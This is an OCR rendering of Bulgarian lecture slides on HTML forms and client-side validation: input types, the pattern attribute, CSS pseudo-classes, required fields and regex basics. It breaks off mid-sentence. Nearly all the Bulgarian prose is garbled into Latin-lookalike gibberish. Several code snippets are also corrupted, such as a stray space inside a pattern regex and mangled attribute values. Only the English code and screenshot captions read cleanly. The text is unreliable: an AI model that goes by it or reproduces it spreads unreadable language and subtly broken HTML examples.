KOHTPONMpaT NoTpebuTenckus nHtepdeiic. Bbnpekn Tosa, nopaan UCTOPUYECKM U TEXHUYECKU
NPUYMHK, HEBMHATM € 04YEBU/HO KaK [a 1 13Mnon3Bame B MbAHUA UM NoTeHUman. TyK Lie NOKp1eM
BCMYKM OCHOBHW acnekTn Ha ye6 gopmynapute. OT MapKupaHeTo Ha TaxHaTta HTML cTpykTypa,
CTUNU3MPAHE HA KOHTPOMUTE BbTPE, BaNuANpPaHe Ha JaHHuTe 0T GopMynspa 1 noJaBaHe Ha AaHHM
KbM CbpBbHpA.

OBnaasBaHeTo Ha hopMynapuTe N3MCKBa nosede 0T 06MKHOBK HTML nosHaHusa. 3aTtoBa TpsbBa
[a pasrnefame HAKOU creunGuUUH TEXHUKI 33 CTUNU3MPAHE HA KOHTPONUTE BLTPE, KakTo 1 Ja
npuTeXXaBame 13BECTHIM NO3HAHMA 3a CKPUMTOBE, 3@ 1@ MOXEM [OMbAHUTENHO [a Banuampame
Cb3/aBame NepcoHanuanpaqu KOHTPOU.




/©\@ Bugose Banuaauus Ha dpopmu
Client-side validation Server-side validation
01 Bupgose 0 2 Bupgose



lllecTTe KoMnoHeHTa Ha yeb dopMynspa

Hue usnonssame cnepgHute HTML enemeHTH, 3a pa cb3gapem eauH ye6 dopmynap:
<form>, <label>, <input>, <textarea> n <button>.
Bcaka popma TpabBa fa cbabpKa cnegHNTe 6 KOMNOHEHTA:

1. ETMKeTH: 3a [1a 065CHMTE Ha NOTPEOUTENNTE 3a KaKBO Ce OTHACAT KOHTPONTE.

2. Bxopswu noneta: 3a CboMpaHe Ha [JaHHM W NoNyYaBaHe Ha 0bpaTHA BPb3Ka. Te BK/IYBAT:
TEKCTOBW NOJIETA, NONETA 3@ NAPONK, PaAno BYTOHM, OYTOHW 3@ OTMETKM CRakaepu v Apyriu.

3. JledcTBMA: TOBa Ca JIMHKOBETE WM GYTOHMTE, KOWTO MPKU HaTUCKaHe 06paboTBaT Mo
HIKaKbB Ha4YMH (opmarTa.

4. Tlomowy,: [JONbAHUTENIHM ONUCAHKA KaKBO Aa NPaBUM C KOHKPETHa popma.

5. CopobweHns: Te gaBaT 0bpaTHa Bpb3Ka Ha MOTPeduTens, Bb3 OCHOBA Ha BXOAQ, KOMTO €
nogan. CboblieHnaTa MoraT fAa 6bgaT nosuTuBHKM (Korato (GopmaTta e MNOMb/HEHA
NpaBWIHO) K HeraTuBHM (Hanp. “MoTpebUTENCKOTO Me, KOETO CTe BbBE/M BeYe e 3aeTo!”).

6. Banupaumus: Te3n Mepku rapaHTMpaT, 4Ye [AaHHWTe, NPeAoCTaBEHW OT MNOTPeduUTens,
OTroBapsiT Ha NPUEMSIMBUTE NapaMeTpu.




lllecTTe KoMnoHeHTa Ha yeb dopMynspa

5. Message ‘ © Please review information that you have entered.

1. Label ‘ First name* Last name*
2. Input Field W Justin Mifsud

Your email address”
badEmail

Repeat email®

6. Validation - Email address notvalid

¥ By email

saved

Cantread the extin the box?

(5] (<) o 4mm s Hep

st
Refresh Lisen Help

Type the text above here*

Yes, | have read and | accept the Skype Terms of Use and the Skype Privacy Statement

-S.Acﬁon

‘I 'agree - Continue




Tpute acnekta Ha hopmynapute

Bbnpekn pasnuknte B 0QOPMAEHNETO, DYHKLUMOHANHOCTTa W LienTa, cnopes KaponaiH Ixapet u

[xepn TapHu B KHurata cu ,OopmMynspu, KOUTo paboTaT: [NpoekTupaHe Ha yeb popmynapu 3a

N3M0N3BAaEMOCT’, BCUYKMU GOpMYynsipu UMaT TP OCHOBHM acnekTa:

1. B3aumoBpb3ka (Relationship): dopmynapute ycTaHOBABAT Bpb3Ka Mexay NoTpebuTens u
opraHusaumdra.

2. PasroBop (Conversation): Te ycTaHOBABAT Ananor Mex y NoTpedUTeNs 1 opraHu3aLmsTa.

3. BwbHweH nsrnep (Appearance): 10 HauMHa, NO KOMTO M3rNEXAAT, YCTAaHOBABAT BPb3KaTa I
NHTEpaKLUMSATA C NOTPebuTens.




Tpute acnekrta Ha dpopMmynsapuTe

Top m =

Speed of ; 7 -
Completion Fastest :{> Slowest

Horizontal Space
Nocdod least [ > Most

Vertical Space
Needed

g

C_——— > least

https://www.uxmatters.com/mt/archives/2006/07/label-placement-in-forms.php

2

Space Available
ForLabel Text C————— > Least

AU VACILENS  Closest [ > LeastClose

UserEye Bown Down & Down &

Movement Right Right

Time To Move

From Label To 50ms 240ms 500ms

Input(°)

Ideal For Simple Less Simple Complex
Forms Forms Forms




Client-side
validation



Banuaauus

HaBcakbae, KbAeTo e He06xoaMMo: [TPEKOMEPHOTO BaNAMPaHe e TONKOBA NOLWO, KOJIKOTO
MW MBbAHOTO My OTCbCTBME, 3all0TO Le pas3oyapoBa noTpebutenute. OrpaHnyete
Ba/MAMPaHeTo 40 NOTBbPXAaBaHe Ha K/KY0BK TOUKN (KAaTO HAMYMETO Ha NOTPEOGUTENICKO
“Me), OCUTYPSIBaHe Ha peanncTyHN OTrOBOPK (KaTo HarmpuMep HeomMycKaHe Ha Bb3pacT Haj
130) n npeanaraHe Ha OTFOBOPU, MPY KOUTO ANANa30HbT OT Bb3MOXHMW AaHHM € KPaeH, HO He
TBbpAE AbAbLI, 3a Aa Ce BKIYAT B MAAallo MeH MeHK (kaTo npepukc 3a Koj Ha
[1bpXaBata).

WHTenureHTHM HacTpoilku no nopapas6upaHe (smart defaults): 1M3nonssaiite
WHTENIMFEHTHUTE HACTPOWKM MO noapasbupaHe, 3a [Aa HanpaBuTe MOMb/IBAHETO Ha
QopMynsapa OT noTpebutens no-6bp3o M NO-TOYHO. Harnpumep, NpeaBapuTeNHO 13bepeTe
[bpXaBaTa Ha MOTpebuTens Bb3 OCHOBa Ha Herosua IP agpec. Ho ru usnonseante c
MOBULIEHO BHWMaHMWe, 3alloTO MOTPebUTENNTE Ca CKJIOHHM Aa OCTaBAT NpefBapuTesHO
N36paHuUTe NoJeTa TakMBa, KakBUTO Ca.




Banupauus

Justin Mifsud

........................

justinmifsud
Suggestions: MifsudJustin - MifsudJustin - justin_mifsud
8 Keep me logged-in on this computer.

By clicking the button, you agree to the terms below:
to and

These Terms of Service ("Terms”) govern your access
use of the services and Twitter's websites (the “Services”),
and any information, text, graphics, photos or other materials

| Create my account

v’ Name looks great.

This email is already registered, Want

n to login or recover your password?

v’ Password is perect!

X This usemame is already taken!

Prirtable versions

Terma of Service - Privacy Polcy

GopMynsapbT 3a perncTpaumns Ha
Twitter n3nosnsea, KAKTO AMHAMUYHO
Ba/IMAMpaHe, Taka 1 UHT@NTIMFeHTHM
HacTPOIiKN No noapasbupaxe (3a 1Me,
MMeNN agpec, napona 1 NoTpedbuTencKo
Mme).




OcHoBHM native ¢popm KOHTpoOU

BCHYKN OCHOBHU TEKCTOBH KOHTPOJIN cnoAeNfAT HAKOU 06I.I.l,l‘| nosepeHua.

Te MoraT fa 6baT MapKupaHu Kato caMo 3a readonly (70Tpe6buTensT He MoXe Aa MPOMeHs
BX0/1a, HO TOU LLje ce u3npatu ¢ 0cTaHanuTe faHHu oT popmynspa) nnm disabled (spBegeHata
CTOMHOCT He MOXe fja b6b/je NPOMEHEHa M HUKOra He Ce M3npalla ¢ OCTaHaiuTe [laHHu OT
hopmynspa).

Te morart fa nmat placeholder: ToBa e TekcT, KOIMTO Ce NOsiBABA B MOSETO 3@ BbBEX/aHE Ha
TEKCT M TpA6BA [1a Ce U3M03Ba 3a KpaTKo OMNMCaHKe Ha LiesTa Ha NnoseTo.

Te moraT fa 6bAaT orpaHuyeHn no pasmep (puanyeckusit paamep Ha nonero) v maxlength
(MakcumanHus 6poii 3Haum, KOMTo MoraT 4a 6bAaT BbBEAEHN B 10/IETO).

Te moraT fAa ce Bb3Mon3BaT OT MpOBepkaTa Ha npaBonuca (u3mos3Baiikn aTpubyTa
spellcheck), ako 6pay3bpbT A NOAABPXA.




' Tunose HTMLS input n Banuaaumsra um

e E-mail address: <input type="email" id="email" name="email">
Korarto ce u3monssa 1031 Tur, OT NOTPEOUTESIS Ce M3NCKBA [a BbBEAE BalugeH UMeIin agpec
B 10/1€T0. BCAKO APYro CbAbpx)aHme kapa bpay3bpa 4a rokassa rpeiika npu usnpaijaHe Ha
d)OpMyﬂﬂpa. Moxerte Ja BnanTe 10Ba B ,ﬂeﬁCTBMe Ha eKpaHHata CHUMKa o-4oJiy.

Your comment:
I am a comment

Your email:

I

; . Sendnow |
Please enter an email address. _—




' Tunose HTMLS input n Banuaaumsra um

E-mail address: <input type="email" id="email" name="email" multiple>
MoxeTe cblo ga m3nonssate atpubyta multiple B kombuHauns ¢ TMna Ha BbBEX/aHe Ha
UMeVis, 3a fia Mo3BOJIMTE HSKOJIKO UMENN ajpeca fa 6bjaT BbBEAEHM B €4HO U Cbllo
BbBEX/aHe (pa3fefieHn Cbe 3anetam).

TUNbT MMENN, 3aeflHO C OCTaHanuTe Mo-HOBM TWUMOBE BbBEX[aHe, OCUrypsBa BrpafeHa
NPOBepKa Ha rpeLlkn OT CTpaHa Ha K/IMeHTa, N3BbpLIBaHa OT 6pay3bpa, Npean LaHHUTe [a
ObaTt M3npaTteHn [0 CbpBbpa. ToBa € MOJesHO MOMOLWHO CPeACTBO 3a HacOo4yBaHe Ha
noTpebuTeNnTe Aa Nomb/BaT TOYHO (hopMynsapuTe 1 crnecTssa Bpeme. Ho ToBa He Tpa6Ba
Aa ce CYMTa 3a u3yepnatesnHa MapKa 3a curypHoct! Bawmnte npunoxxeHus Tpaéea BuHaru
Aa N3BBPLUBAT NPOBEPKMN 3a CHTYPHOCT Ha BCUYKKU U3npaTeHn oT popmynsipa AaHHu, n oT
CTpaHa Ha CbpBbPa, KaKTO M OT CTPaHa Ha K/IMeHTa, Tbil KaTo Ba/IMAUPAHETO OT CTPaHa
Ha KNIMEHTa e TBbPJe NIECHO 3a NpeckavyaHe U 3/I0HaMepeHuTe NoTpeduTenn morar JIeCHO
Aa ce Bb3non3Bar.




' Tunose HTMLS input n Banuaaumsra um

Nmaiite npensun, Ye a@b e BanugeH wMmeiin agpec cnopef nNpeaocTaBeHUTe Mo
nogpasbupaHe orpaHuyeHns. ToBa e Taka, 3alloTO TWMbT Ha BbBEXJaHE Ha WMeiin
No3BONABa MMENN afpecu B MHTPaHeT Mo noppas3bupaHe. 3a Aa NPUAOXKNUTE PasfinyHO
NnoBefeHne Ha BanuaupaHe, MOXeTe Aa W3non3eate atpubyTa pattern n Taka MoxeTte Aa
NepcoHannsmpare CboobLeHNsATa 3a rpeLukal

3abenexka: AKO BbBEAEHUTE AaHHW HE ca BanuaHu, TO nceBAoknacwbT :invalid we ce
akTvBMpa 1 cBoicTBOTO ValidityState.typeMismatch Lie BbpHe true.




' Tunose HTMLS input n Banuaaumsra um

e Tunsearch: <input type="search" id="search" name="search"> @
BaxHa d)yHKL[MOHaﬂHOCT TYK €, 4e CTOMHOCTUTE Ha MOJETO 34 TbpCeHe Morart [a 6b,ﬂaT
dBTOMAartn4Ho 3afmcann un Kn3rnosisBaHn [1OBTOPHO, 3a Ja Ce [IPpeSIoXN aBTOMatn4Ho
JIOBBPLUBAHE HA MHOXECTBO CTPAHULM OT euH U ChlUn yebcaiT, ToBa 06MKHOBEHO Ce C/1y4Ba
dBTOMartn4Ho B NoBevyeTo CbBPEMEHHN 6pay3bpM.

| has a value | |hasavalue [ [ has a value |
[“has a value Q] [ hasavalue ©] [ hasavalue )
[has a value ] | has a value ) (has a value

|has a value | [has a value x| has a value

|has a value | [has a value x | has a value




' Tvnose HTMLS input u BanupaumsTa um

Tun Phone number: <input type="tel" id="tel" name="tel">
Korato ce ocwblyecTBsBa [OCTbBIT YPE3 CEH30PHO YCTPONCTBO C AMHAMWUYHA KiaBuaTypa,
[MOBEYETO YCTPOMNCTRA LLie MOKa3BaT UMpPOBa KnaBuatypa, npu Haanune Ha type="tel".

[lopaav pasnuknTe BbB (popmaTa, TyK e
NO3BOJIEHO [la Ce BbBEeXJaT U OYKBU W
HAMaMe orpaHnyeHus! 34 Ja

peanusupate BanMaauMs  Ha  HUBO
KIWEHT, MOXETe Aa M3MoN3BaTe OTHOBO
aTpubyTa pattern!




' Tunose HTMLS input n Banuaaumsra um

Tun URL: <input type="url" id="url" name="url">

Tosn TMn [06aBS CreynasHn OrpaHnyeHns 3a BaivampaHe KbM MoseTo. bpay3bpbT Lje
CbOOLYM 3a rPellKa, ako He e BbBefeH npoTokosn (kato http:) wmm ako URL agpecsT e
HenpaBuIHO (opmaTtupaH. Ha ycTpoiicTBa C AMHAMWYHW KaBuaTypu, KiaBuatypata o
110Apa3bmpaHe YecTo Lie 0Ka3Ba HAKOU WM BCUYKM [IBOETOYME, TOYKA U HAK/IOHEeHa YepTa
KaTo KaBuLLM 110 1ofgpasdmupaHe.

G B &« @ SO
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' Tvnose HTMLS input u BanupaumsTa um

e Tun Number: <input type="number" name="age" id="age" min="1"
max="10" step="2">
KOHTpO/IMTe 3@ BbBEXaHE Ha Yucaa MoraT Aa 6b4aT Cb3jafeHu ¢ Tun number. Tosu <input>
n3riiexxJga Karo TeKCToBO [10Jie, HO 103B0OJIdBa BbBEX/J]AHETO CaMO YnCJia C rJiaBalja 3arietasd
N 06MKHOBEHO rnpejocrasA 6yTOHM 3d 3a yB€J/in4aBaHe N HaMallABaHE Hda CTOMHOCTTa Ha
KOHTpoJ1aTa. Ha ycTpoiicTBa ¢ AUHaAMUYHU KnaBuaTypu 06MKHOBEHO Ce nokassa LuppoBaTa

KaBmartypa.
1 2 -
4 5 —
7 8 &
0




Tun range (Slider control):
<label for="price">Choose a maximum house price: </label>

<input type="range" name="price" id="price" min="50000" """

max="500000" step="100" value="250000">

<output class="price-output" for="price"></output>

LIpyr HaynH fa n3bepete yucao e fga m3nosassate Mab3ray. Buxpgame rv jocta YecTo Ha
calToBe OT TUM 3aKyryBaHe Ha XWuauiya, KbJeTo MCkame Aa 3aafeM MaKCUMasIHa LjeHa Ha
UMOTa, 110 KOSITO Jla puaTpupame, Harip.

Choose a maximum house price:

® 325500




' Tvnose HTMLS input u BanupaumsTa um

e Tun range (Slider control):
[lpobnem ¢ NnbaraunTe €, Ye Te He Npefiarat HMUKakBa BU3yasHa 0bpaTHa BPb3Ka 3a TOBA
KakBa e TekyLlaTa CTOMHOCT. ETO 3allo e Jo6pe Aa ce f06aBs eneMeHT <output>, KOINTO fa
Bpblla. MoxeTe fa NoKaxeTe BXoAdlla CTOMHOCT UK Pe3yNTaT Ha U3YUC/IEHNE BbB BCEKM
eflemMeHT, HO <output> e cneunaneH, kato <label> n moxe na B3eme atpuobyT for, KOINTO BK
No3BoNABa Aa ro acouumpaTe C eNemMeHT UK eNeMeHTUTE, 0T KOWTO M3xoaHaTa CTOMHOCT
3aBuCH.

const price = document.querySelector ('#price');
const output = document.querySelector('.price-output');

output.textContent = price.value;

price.addEventListener ('input', function() {
output.textContent = price.value;

b) i




' Tunose HTMLS input n Banuaaumsra um

e Tun datetime-local, month, time, week (Date u time pickers): @

<input type="datetime-local" name="datetime" id="datetime">
<input type="month" name="month" id="month">

<input type="time" name="time" id="time">

<input type="week" name="week" id="week">

<label for="myDate">When are you available this
summer?</label>

<input type="date" name="myDate" min="2013-06-01"
max="2013-08-31" step="7" id="myDate">




Tun color (Color picker):
<input type="color" name="color" id="color">

L|BeToBeTe BuHarv ca Masnko TPyAHW 3a peann3auus. ViMa MHOro HaumHu fa rv m3pasute:
RGB croiiHoCTy (geceTnyHm nan lwectHageceTnymn), HSL CTOMHOCTY, KKOYOBY AYMM U T.H.
Korato ce nogabpxa, KIMKBaHETO BbPXY KOHTPOJ/ATa, TS N0Ka3Ba (QyHKUMATa 3a n360p Ha

LBAT 110 NofpasbupaHe Ha onepaymoHHaTa cuctema.

" ® @ Choose acolour

<input type="color"> example b -+ =2 e

Q= o=
~ 0
CRON-OB % & » =
¥ Most Visited @ Getting Started [ Mozilla stuff »

Pickacolor: |

Submit




©
Tvnose HTMLS input u BanupaumsTa um
©

e Tun color (Color picker): ...
BrpraTaTa CTOMHOCT BUVHaAIU e meCTHaIIeCceTnueH IuB4AT C MaJIKM
OYKBMU.

pick a color: | |

Submit ]




Ul pseudo-classes

OpuruHanHuTe nceBAOKNAcOBe, AOCTbNHM 3a Hac (oT CSS 2.1), nogxoaswu 3a popmynsapm ca:

-hover: /1361pa enemMeHT, camo, KoraTo ce 3abpPXXu Kypcopa Ha MULLKaTa BbpXy Hero.

:focus: /1361pa enemeHT, camo KoraTo e QokycupaH (T.e. ypes TabynmpaHe Ypes KnaBuaTypara).
:active: /1361pa enemeHT, camo Korato e aKkTuBMpaH, (T.e. JOKATO Ce LIpaKHe BBbPXY HEro Uiu
KOraTo Ce HaTUCHe Knaeuwa Return / Enter, B ciyyail Ha akTBMpaHe C KnaBuaTypa).

NceBpoknacose, pocTonuu ot CSS 3, ca:

:required 1 :optional: 3agbXUTENHN UK HE3AOBMKUTENHN KOHTPOMM OT HOPMYNsApa.

:valid v cinvalid + :in-range v :out-of-range: LleneBu KOHTpPONM Ha (hopmynapa, KOMTO Ca
BaANMOHW/HEBANUAHY, CNOpes OrpaHuyeHuaTa 3a BanuaupaHe Ha Gopmynsapa, 3afafeHn Bbpxy
TAX, U BbPXY 06XBaTa: BbTPe/N3BbH.




Ul pseudo-classes

NceBpoknacose, pocTbnHu ot CSS 3, ca:

:enabled  :disabled + :read-only v :read-write: AKTMBHW WM [EAKTUBHWM KOHTPOMM Ha
Gopmynsapu, (Hanp. ¢ geakTuBMpaHus Habop oT HTML aTpubyTi) n KOHTPOAK 3a GOpPMYNsapK 3a
CaMo 3a YeTeHe UMK 3a YeTeHe+nncaHe.

:checked, :indeterminate 1 :default: PecnekTBHO HacouBaHe KbM KBajpaTyeta 3a OTMETKA I
OYTOHW 3a 1360P, KOUTO Ca OTMETHATK, B HEOMNPEAENEHO CbCTOAHME (HUTO OTMETHATU WAK He
OTMETHATK) ¥ n3bpaHaTa Nno noapasbupaHe onums, KOraTo cTpaHuuaTa ¢'> ¢ npoBepeHns Habop
OT aTpUBYTV MAK eNEMEHT <option> C 36paHns Habop OT aTpUGYTH).




HTML arpubyr: pattern

AtpubyToT pattern onpegens regular expression, 3a KOWTO CTOWHOCTTa Ha KOHTposiata OT @
Gopmynapa TpsdbBa fAa CbBMaga. AKO CTOMHOCT, PasiuMyHa OT Hyna, He OTroBaps Ha
OrPaHNYeHnsTa, 3afafleHn 0T CTOMHOCTTA Ha WabnoHa, To CBOVCTBOTO patternMismatch e BbHe
true. ATpn6yTHT pattern npuHaanexm Ha TUMOBETE TEKCT, TeJl, MMENAN, url, napona v TbpCeHe.

Ynortpeba:
3a fa BKYMTE pattern, Bue TpsbBa Aa NpeaocTaBeTe OnucaHne Ha WwabnoHa BbB BUAUM TEKCT
61130 [0 KOHTponaTa. OCBeH TOBa e [06pe fa fobaBuTe 1 aTpubyTa title, KOMTO AaBa onucaHune
Ha WabnoHa. bpay3bpuTe MoraT Aa M3M0N3BaT CbAbPXKAHMETO Ha 3arnaBMeETO N0 BPEME Ha
BanMaMpaHe Ha OrpaHNYEHNETO, 3a Aa KaXaT Ha NoTpebutend, 4e MOAENbT He CbBnaga. Hakow
6pay3bpu NOKasBaT NoACKaska CbC 3arnaBHO CbAbPXKaHWe, NOA0OPSABaNKM M3MN0N3BAEMOCTTA 33
3pswy notpedbutenn. OCBEH TOBA, MPU HanM4YMe Ha MOMOLLIHA assistive TeXHONOrKs, 3arnaBmeTo
MOXe fa 6be NPOYETEHO Ha rNac, ako KOHTPOBLT e Ha (OKYC.




HTML arpubyr: pattern O

Mpumep:
<p>
<label>Enter your phone number in the format (123) - 456 - 7890
(<input name="tell" type="tel" pattern="[0-9]{3}" placeholder="###"

aria-label="3-digit area code" size="2"/>) -

<input name="tel2" type="tel" pattern="[0-9] {3}" placeholder="4###"
aria-label="3-digit prefix" size="2"/> -

<input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####"
aria-label="4-digit number" size="3"/>
</label>
</p>




HTML arpubyr: pattern O

Mpumep:
<p>
<label>Enter your phone number in the format (123) - 456 - 7890
(<input name="tell" type="tel" pattern="[0-9]{3}" placeholder="###"

aria-label="3-digit area code" size="2"/>) -

<input name="tel2" type="tel" pattern="[0-9] {3}" placeholder="4###"
aria-label="3-digit prefix" size="2"/> -

<input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####"
aria-label="4-digit number" size="3"/>
</label>
</p>

Enter your phone number in the format (123) - 456 - 7890 (‘:### i) - f### \ - #H#H##




HTML arpubyr: pattern
OnpepensiHe Ha pattern:

MoxeTe Aa u3nonssaTe aTpubyTa pattern, 3a ja ykaxeTe perynspeH 13pas, Ha KoiTo Tps6Ba Aa
CbBMajHe BbBEJEHATa CTOMHOCT, 3a Aa Ce CYuTa 3a BanugHa. [puMepbT no-JoNy orpaHnyaBa

CTOMHOCTTa [0 4-8 3HaKa 1 13nNCcKBa T4 da CbibpPxXa CaMO MallKu 6yKBI/I.
<form>
<div>
<label for="uname">Choose a username: </label>
<input type="text" id="uname" name="name" required size="45"
pattern="[a-z]{4,8}" title="4 to 8 lowercase letters">
<span class="validity"></span>
<p>Usernames must be lowercase and 4-8 characters in length.</p>
</div>
<div>
<button>Submit</button>
</div>
</form>




/©\@ HTML arpubyr: pattern

Pesynrar:

Choose a username: X n

Usernames must be lowercase and 4-8 characters in length.

Submit ] v




HTML arpubyr: pattern

Ba)xHo!:

Korato KOHTpona cbabpxa pattern, To ako ce n3nonsea atpuobyTtoT title, Tpsbea na onucea
labnoHa. PasuyntaHeTo Ha aTpubyTa title 3a BM3yaNnHO NMOKasBaHe Ha TEKCTOBO CbAbpXKaHue
0BMKHOBEHO He Ce MPEenopbYBa, Thil KaTO MHOM0 MOTPEOWUTENCKM areHTW He ro MokaseaT Mo
[OCTBNEH HauvH. HAkow 6pay3bpy nokaseart tooltip npy 3agbpyxaHe Ha Kypcopa Ha enemMeHT Che
3arnaBue, HO ToBa PaboTM CaMO 3a MOTPEBUTENN C KNaBMaTypa U UM CEHCOPeH ekpaH. ToBa e
efHa OT HAKOMAKOTO MPUYMHK, MOpagn KOWTO TpsAbBa f[Aa BKAKOYMTE MHOOPMAUMS KbM
NoTpebuUTENNTE KakK [ja NOMb/AHAT KOHTPONA, 3a Aa OTrOBapAT Ha U3NCKBaHUATA.




Client-side Banuaauus

[lpn m3npaljaHe Ha AaHHWTE OT GOopMynap, Hue TpsbBa Aa Ce yBEpUM, 4Ye Te Ca
NPaBWIHO BbBEAEHW OT NOTpebutens, 1 cnea ToBa fa rv 06paboTuM ycnewHo, 6e3 aa
‘cyynuM” HawwmnTe npunoxerus. OCBeH TOBA € HeOOXOAMMO [a MOMOTHEM Ha HalluTe
noTpebuTenn Npu NOMbABAHETO Ha hopmynapute. BanugupaHeto Ha (GOpPMUTE HU

nomara ia MoCTUTHEM 1 BeTe Lenn.




MpoBepkaTa Ha BbBeAeHUTE faHHN NpeaM Aa 6bAaT nogageTe Ha CbpBbpPa, Ce Hapuya BanugupaHe

Ha Gopmynsap oT cTpaHa Ha KNMeHTa M MoOMara Aa ce rapaHTupa, ye npejocTtaBeHaTa MHQopmaLus
CbOTBETCTBA Ha M3UCKBAHMATA, YTOYHEHH B Pa3/INYHUTE KOHTPONN Ha Gpopmynspa.

CbLL[eCTByBaT TP OCHOBHM NMPU4YnHN, rnopagn KonTo e HEO6XO,£IMM8 Ba/infaymndra:

1.

Wckame Aa nonyynm npaBuHKU AaHHM, B KOpPeKTeH opMart. HalnTe NpunoXeHns Hama aa
PabOTAT NPABWIHO, a0 JaHHWUTE Ha HaLUWUTe NOTPEOUTENN Ce CbXPaHsABaT B rpelleH Gopmar,
Te Ca HEBEPHM 1M He Ca NOMbAHEHN N306LLO.

Wckame pa 3aWiMTMM JaHHMTE Ha HawuTe noTpebutenun. [prHY>XXAaBaHETO Ha HalwuTe
noTpebuTeny a BbBEXAAT 3alUMTEHV Napony, YNecHaBa 3alMTata Ha MHQopMaLUmsaTa 3a
aKayHTa uM.

Uckame pa ce 3aWMTUM. HanuuyHy ca MHOM0 HauyuMHM, MO KOMTO 3/10HaMepeHuTe
noTpebuten Morat [a M3Non3BaT HesalwuTeHu (QOpMynspu, 3a Aa  NoBpeaaT
NPUOXEHNETO.




Buaose Client-side sanuaaums

C'bI.I.I,ECTBYBaT ABa BUAa Banunpalua oT CTpaHa Ha K/IMeHTa.

1. BrpapeHaTa npoBepKa Ha ¢opMmynsp: TS 13N0N3Ba QYHKLUMKM 3a BaNMaMpaHe Ha
HTMLS dopmynapu. Tasn npoBepka 06UKHOBEHO He M3UCKBa MHOro JavaScript.
BrpageHata npoBepka Ha (QOpMynsp vMMa no-gobpa Npou3BOAMTENIHOCT OT
JavaScript-pa3HOBMAHOCTTA, HO HE e TOJIKOBA MBKaBa.

2. JavaScript BanugupaHeTo ce Koavpa ¢ nomolyTa Ha JavaScript. Ta3n npoBepka e
HaMb/IHO afjanTyBHa, HO TPSI6BA Aa s Cbh3AafeTe U3LAN0 caMu UK fa U3non3BaTe
onbnnoTeka.




Ynotpeba Ha BrpajeHa npoBepKa
Ha gopmynsap (built-in form validation)

EQHA OT Hail-BaXHUTE XapaKTePUCTWMKWM Ha KOHTponnTe Ha HTMLS popmyndapu e
Bb3MOXHOCTTA MM 3a MPOBEpKa Ha MOBEYETO MOTPeOUTENICKU AaHHK, 6e3 aa ce
pa3unta Ha JavaScript. ToBa ce npaBu 4pes U3MON3BaHe Ha aTpuobyTUTe 3a
Ba/IMAMPaHe Ha efleMeHTU BbB (opMynap:

required: [locoyBa fanv Tps6Ba fja ce nonbjHW AaeHOTO NoJe, Npean GpopMyaspuT [a
Ce M3rparm.

minlength v« maxlength: Onpegens muHumanHata u MakcumanHata [AbJXWHA Ha
TEKCTOBUTE fJaHHW (HN30BE).

min v max: Onpegens MUHUMANHUTE U MaKCUMaJIHUTE CTOMHOCTY Ha UMPPOBUTE JaHHM.




®  Ynotpe6a Ha BrpageHa npoBepka
Ha dopmynap (built-in form validation)

type: YkasBa fanv gaHHuTe Tpsi6Ba Aa ca YnCsio0, UMeN agpec uiv Apyr npeaBapuTesHo
3a/ja/ieH, creynpuyeH Tunm.

minlength » maxlength: Onpegens muHumanHata n makcumanHata [AbjXuHa Ha
TEKCTOBUTE JaHHN (HN30BE).

pattern: Onpezgesns perynspeH n3pas, AeuHupall MoJes, KoUTo Tpsi6Ba Ja ce c/ie[Ba oT
BbBELJEHNTE JaHHMN.

AKo paHHMTe, BbBeAleHM B Moneto Ha ¢opMmynap, cneaBaT BCUUYKM NpaBuna,
NOCOYEeHU OT rOpHUTe aTpubyTH, Te ce cuMTaT 3a BanuAHW. AKO He: ce CYMTa 3a
HeBaNnuAHN.




®  Ynotpe6a Ha BrpageHa npoBepka
Ha dopmynap (built-in form validation)

3a6enexkKa: CblleCTBYBAT HAKOMIKO MPELLKM, KOMTO Le NonpeyaT Ha 13npaLliaHeTo Ha
@opmynap. Toea ca: badinput, patternMismatch, rangeOverflow 111 rangeUnderflow,
stepMismatch, tooLong v tooShort, typeMismatch, valueMissing 1 customError.




©
[Ipumepu 3a BrpaeHa BanuaaLus

0T CTPAHA HA KJIMEHTA

<form>
<label for="choose">
Would you prefer a banana or cherry?</label>
<input id="choose" name="1i like">
<button>Submit</button>
</form>




©
[Ipumepu 3a BrpaeHa BanuaaLus

0T CTPAHA HA KJIMEHTA

input:invalid {
border: 2px dashed red;
}

input:valid {
border: 2px solid black;
}




©
[Ipumepu 3a BrpaeHa BanuaaLus

0T CTPAHA HA KJIMEHTA

input:invalid {
border: 2px dashed red;
}

input:valid {
border: 2px solid black;
}

Would you prefer a banana or cherry? ' Submit |




[Tpumepu 3a BrpajieHa BanuaaLus
0T CTPaHa Ha K/MeHTa

Haln-npocTata QyHKUMS 3a npoBepka Ha HTMLS e aTpunbyToT required. Ako uckaTte [a
HampaBWTe BbBEXAAHETO 3aAb/IKWUTENHO, [J0b6aBeTe TO3M aTpuobyT KbM ENIEMEHT.
KoraTo TO3W aTpubyT e 3ajajeH 3a AafeHa KOHTPona, TO TS CbOTBETCTBA Ha
ncesgoknaca :required Ul v popmynapbT HaMa aa 6bje nanpaTeH, Korato BXOAbT e
NpaseH, a LLe Ce NoKaxe CbobLieHne 3a rpeLuka. [1okaTo e npaseH, BXOAbLT Cblo Lie ce
CYMTa 3a HEBaNU/EH, CbOTBETCTBALL Ha nceBokaca :invalid UL.




©
[TpuMepm 3a BrpazieHa BanuaaLus

0T CTPAHA HA KJIMEHTA

<form>
<label for="choose">Would vyou prefer a Dbanana or
cherry? (required)</label>
<input id="choose" name="1 like" required>
<button>Submit</button>
</form>




©
[TpuMepm 3a BrpazieHa BanuaaLus

0T CTPaHa Ha KJIUEHTA
input:invalid { C)
border: 2px dashed red; e
}

input:invalid:required {

background-image: linear—-gradient (to right, pink,
lightgreen) ;
}

input:valid {
border: Z2px solid black;
}




©
[Ipumepu 3a BrpaeHa BanuaaLus

0T CTPAHA HA KJIMEHTA

AKO ce onuTame Aa u3npatum Gopmynspa 6e3 CTOMHOCT, Cce NosBsBa CbobleHMe 3a
rpeLika no noapasoéupaHe (,Mons, nonbaHeTe ToBa None") M GOPMYNAPBLT HE MOXE Aa
Obje na3npareH.




[TpuMepu 3a BrpajieHa BanuaaLus
0T CTPaHa Ha K/MeHTa

a — CbBMaja C eayH 3HaK, KOMTO € TOYHO a (He b, He aa 1 T.H.).

abc — CvbBnapa c a, nocnegsaro ot b, nocnensaHo oT c.

ab?c — CbBnaga c a, no n3bop nocneasaHo oT eanHnyHo b, nocneasaHo oT ¢ (ac nnu
abc).

ab*c — CbBnaga c a, no n360p nocneaBaHo OT NPoU3BOeH 6poii b, nocneasaHo OT ¢ (
